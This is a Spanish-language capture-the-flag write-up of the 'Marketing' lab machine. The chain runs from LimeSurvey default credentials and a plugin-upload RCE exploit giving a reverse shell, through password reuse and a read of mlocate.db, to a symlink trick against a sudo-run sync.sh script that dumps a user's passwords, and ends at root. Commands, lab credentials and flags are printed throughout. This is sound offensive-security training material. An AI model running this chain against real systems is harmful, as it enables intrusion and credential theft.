Marketing
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El código fuente de Marketing delata un subdominio, customers-survey.marketing.pg, que sirve LimeSurvey. Entramos con credenciales por defecto (admin/password) y subimos un plugin malicioso para RCE comowww-data(RCE por plugin de LimeSurvey). Elconfig.phpreutiliza una contraseña que sirve parat.miller(reutilización de credenciales). Desde ahí, leemos la base de datos de mlocate (pertenecemos al grupomlocate) para descubrir un fichero de credenciales privado dem.sander(enumeración de mlocate.db), y un scriptsync.shejecutable por sudo comom.sandernos lo revela vía symlink (abuso de symlink con sudo). Con la contraseña dem.sander, que está en el gruposudo,sudo sunos da root (abuso del grupo sudo).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos:
ping -c 1 192.168.111.225
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.111.225PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.111.225 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: marketing.pg - Digital Marketing for you!HTTP - TCP 80
dirsearch sobre la raíz solo encuentra /assets, /old y /vendor, poco aprovechable. La pista está en el código fuente de la página: una referencia a un subdominio, customers-survey.marketing.pg.

El servidor usa virtual hosting por nombre, así que lo añadimos a /etc/hosts:
echo "192.168.111.225 customers-survey.marketing.pg" | sudo tee -a /etc/hostsSubdominio: LimeSurvey
Enumerando el subdominio aparece la estructura típica de LimeSurvey (/admin, /plugins, /installer, /upload, composer.json...). LimeSurvey es una aplicación PHP de encuestas. La ruta /index.php/admin/authentication/sa/login sirve el panel de administración:

Antes de fuzzear nada, la primera prueba contra cualquier producto conocido son sus credenciales de fábrica. Una búsqueda de "limesurvey default credentials" lleva al propio código fuente del proyecto:

El fichero application/config/config-defaults.php documenta el usuario y la contraseña por defecto de la instalación:

$config['defaultuser'] = 'admin';
$config['defaultpass'] = 'password';Introducimos admin / password en el formulario:

Y entramos directos al panel de administración: las credenciales de fábrica seguían activas.

Explotación
LimeSurvey: RCE por subida de plugin
El pie de la cuenta ("My Account") delata la versión exacta, LimeSurvey Community Edition 5.3.24:

searchsploit confirma que esa rama arrastra una RCE conocida:

LimeSurvey permite a un administrador instalar plugins, y un plugin es código PHP que el servidor ejecuta. Empaquetando una webshell como plugin y subiéndola por el panel obtenemos ejecución (RCE por plugin de LimeSurvey). Buscando el exploit por GitHub aparece el de TheRedP4nther, que automatiza el empaquetado, la subida y la activación:

Lo clonamos e instalamos sus dependencias. El ls del repo revela su estructura (config.xml + revshell.php son el plugin malicioso que se empaqueta y sube):
git clone https://github.com/TheRedP4nther/limesurvey-6.6.4-authenticated-rce
cd limesurvey-6.6.4-authenticated-rce
pip3 install -r requirements.txt --break-system-packages
python3 limesurvey_rce.py -t http://customers-survey.marketing.pg -u admin -p password

[PLUGIN]:
[+] Uploading and installing the plugin ...
[+] Plugin uploaded and installed succesfully.
[+] Activating the plugin ...
[REVERSE SHELL]:
[+] Trying to execute the Reverse Shell
[+] Reverse shell executed successfully, check your listener :D!
www-data@marketing:/var/www/LimeSurvey/upload/plugins/evil$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)El exploit sube y activa el plugin, dispara la reverse shell y el id confirma ejecución como www-data.
Post-explotación
Pivote a t.miller: reutilización de contraseña
LimeSurvey guarda las credenciales de su base de datos en config.php. Las buscamos:
find / -name config.php 2>/dev/null
cat /var/www/LimeSurvey/application/config/config.php | grep -E 'pass|username'
'username' => 'limesurvey_user',
'password' => 'EzPwz2022_dev1$$23!!',El /etc/passwd muestra dos usuarios con shell: t.miller y m.sander. Probamos la contraseña de la base de datos contra ellos y funciona para t.miller (reutilización de credenciales):
su t.miller
www-data@marketing:/$ su t.miller
Password:
t.miller@marketing:/$ whoami
t.millerLa contraseña de la base de datos abre la cuenta: ya somos t.miller.
Local
cat local.txt && whoami && ip a && hostname
ec2a0dbcf301413f33969f59cfce7101
t.millerPivote a m.sander: mlocate + symlink + sudo sync.sh
sudo -l revela que t.miller puede ejecutar un script como m.sander:
sudo -l
User t.miller may run the following commands on marketing:
(m.sander) /usr/bin/sync.shAntes de tocar ese script, conviene saber qué hay en el home de m.sander. t.miller pertenece al grupo mlocate, lo que le da acceso de lectura a la base de datos de locate: un índice de todas las rutas del sistema, incluidas las que no podemos listar (enumeración de mlocate.db):
id
find / -group mlocate 2>/dev/null
t.miller@marketing:/$ id
uid=1000(t.miller) gid=1000(t.miller) groups=1000(t.miller),24(cdrom),46(plugdev),50(staff),100(users),119(mlocate)
t.miller@marketing:/$ find / -group mlocate 2>/dev/null
/var/lib/mlocate/mlocate.db
/usr/bin/mlocatet.miller está en el grupo 119(mlocate), que le da lectura sobre /var/lib/mlocate/mlocate.db. Extraemos la base de datos y la pasamos por strings buscando el home de m.sander:
cat /var/lib/mlocate/mlocate.db | strings | grep '/home/m.sander/personal' -A 3 -B 3
.bashrc
.profile
personal
/home/m.sander/personal
creds-for-2022.txt
notes.txt
/home/t.millerAparece un fichero prometedor: /home/m.sander/personal/creds-for-2022.txt. No podemos leerlo (es de m.sander), pero el script sync.sh sí corre como m.sander. Leemos su código:
cat /usr/bin/sync.sh
#! /bin/bash
if [ -z $1 ]; then
echo "error: note missing"
exit
fi
note=$1
if [[ "$note" =~ .*m.sander.* ]]; then
echo "error: forbidden"
exit
fi
difference=$(diff /home/m.sander/personal/notes.txt $note)
if [[ -z $difference ]]; then
echo "no update"
exit
fi
echo "Difference: $difference"
cp $note /home/m.sander/personal/notes.txt
echo "[+] Updated."#!/bin/bash
if [ -z $1 ]; then
echo "error: note missing"
exit
fi
note=$1
if [[ "$note" =~ .*m.sander.* ]]; then
echo "error: forbidden"
exit
fi
difference=$(diff /home/m.sander/personal/notes.txt $note)
if [[ -z $difference ]]; then
echo "no update"
exit
fi
echo "Difference: $difference"
cp $note /home/m.sander/personal/notes.txt
echo "[+] Updated."El script hace un diff entre notes.txt y el fichero que le pasamos, y imprime la diferencia por pantalla. Es una lectura arbitraria: si el fichero que comparamos contiene texto que notes.txt no tiene, el diff lo vuelca. Pero hay un filtro: if [[ "$note" =~ .*m.sander.* ]] rechaza cualquier ruta que contenga la cadena m.sander, justo la del fichero de credenciales. Lo comprobamos: una nota normal filtra su contenido por el diff, pero pasar la ruta directa da error: forbidden:
echo 'ejemplo' > test.txt
sudo -u m.sander /usr/bin/sync.sh test.txt
sudo -u m.sander /usr/bin/sync.sh /home/personal/m.sander/creds-for-2022.txt
Difference: 0a1
> ejemplo
[+] Updated.
...
error: forbiddenLa evasión es un symlink cuyo nombre no contiene m.sander: apuntamos aaa al fichero de credenciales, el filtro de cadena no salta y el diff (ejecutado como m.sander) sigue el enlace y vuelca su contenido (abuso de symlink con sudo):
ln -sf /home/m.sander/personal/creds-for-2022.txt aaa
sudo -u m.sander /usr/bin/sync.sh aaa
> slack account:
> michael_sander@gmail.com - pa$$word@123$$4!!
> github:
> michael_sander@gmail.com - EzPwz2022_dev1$$23!!
> gmail:
> michael_sander@gmail.com - EzPwz2022_12345678#!Salen tres contraseñas. Las de slack y github fallan en su m.sander (Authentication failure); la de la cuenta de gmail, EzPwz2022_12345678#!, es la que abre la sesión:
su m.sanderEscalada de privilegios
Abuso del grupo sudo
El id de m.sander muestra que pertenece al grupo 27(sudo), así que la escalada es directa (abuso del grupo sudo): con su contraseña, sudo su da una shell de root.
id
sudo su
m.sander@marketing:~/personal$ id
uid=1001(m.sander) gid=1001(m.sander) groups=1001(m.sander),24(cdrom),27(sudo),46(plugdev),50(staff),100(users),119(mlocate)
m.sander@marketing:~/personal$ sudo su
[sudo] password for m.sander:
root@marketing:/home/m.sander/personal# id
uid=0(root) gid=0(root) groups=0(root)Root
cat proof.txt && whoami && ip a && hostname
b894ba2ab29d1c9e1af8d97f877b94c4
rootCadena de ataque
HTTP (80) -- código fuente -> subdominio customers-survey.marketing.pg
│ LimeSurvey con creds por defecto (admin/password)
│ subida de plugin malicioso -> RCE
▼
www-data
│ config.php reutiliza contraseña -> su t.miller
▼
t.miller (local.txt)
│ grupo mlocate -> leer mlocate.db -> creds-for-2022.txt
│ sudo (m.sander) sync.sh + symlink -> diff revela la contraseña
▼
m.sander
│ grupo sudo -> sudo su
▼
root (proof.txt)Lecciones aprendidas
- El código fuente esconde la superficie real. La raíz no daba nada; el subdominio que aparecía en el HTML era todo el camino. Leer el fuente y fuzzear vhosts no es opcional.
- Las credenciales de fábrica y su reutilización encadenan.
admin/passwordabrió LimeSurvey y la contraseña de su base de datos abrió un usuario del sistema. La misma contraseña en sitios distintos es el pegamento de la cadena. - Pertenecer a
mlocatefiltra el árbol del sistema. No leímos el fichero, pero supimos que existía y dónde. Un grupo aparentemente inocuo reveló rutas privadas. - Un script con sudo que sigue symlinks es lectura arbitraria.
sync.shcorría comom.sandery sudiffvolcó un fichero que no nos pertenecía. Los scripts privilegiados deben resolver y validar las rutas, nunca seguir enlaces ciegamente. - El grupo
sudocierra la caja. Una vez enm.sander,sudo sufue todo. Revisaridysudo -len cada usuario es lo que destrabó cada salto.